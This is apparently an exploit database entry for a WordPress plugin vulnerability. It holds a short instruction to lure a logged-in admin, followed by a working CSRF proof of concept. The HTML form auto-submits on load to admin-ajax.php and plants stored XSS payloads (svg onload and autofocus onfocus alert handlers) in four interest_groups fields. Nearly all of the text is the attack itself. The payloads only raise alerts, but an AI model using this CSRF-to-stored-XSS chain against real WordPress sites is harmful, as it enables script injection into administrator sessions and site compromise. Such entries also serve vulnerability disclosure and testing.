Share
## https://sploitus.com/exploit?id=WPEX-ID:8F510B8C-B97A-44C9-A36D-2D775A4F7B81
Make a logged in admin open a page with the following code (this requires the attacker to know/guess a list_id)

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="add_interest_group_to_form"/>
        <input type="hidden" name="list_id" value="d352660974" />
        <input type="hidden" name="interest_groups[][group_id]" value='"></textarea><svg/onload=alert(/XSS-group_id/)>' />
        <input type="hidden" name="interest_groups[][field_type]" value='"><svg/onload=alert(/XSS-field_type/)>' />
        <input type="hidden" name="interest_groups[][field_name]" value='"><svg/onload=alert(/XSS-field_name/)>' />
        <input type="hidden" name="interest_groups[][classes]" value='"autofocus=autofocus onfocus=alert(/XSS-classes/)//' />
        <input type="submit" value="Submit" />
    </form>
  </body>
</html>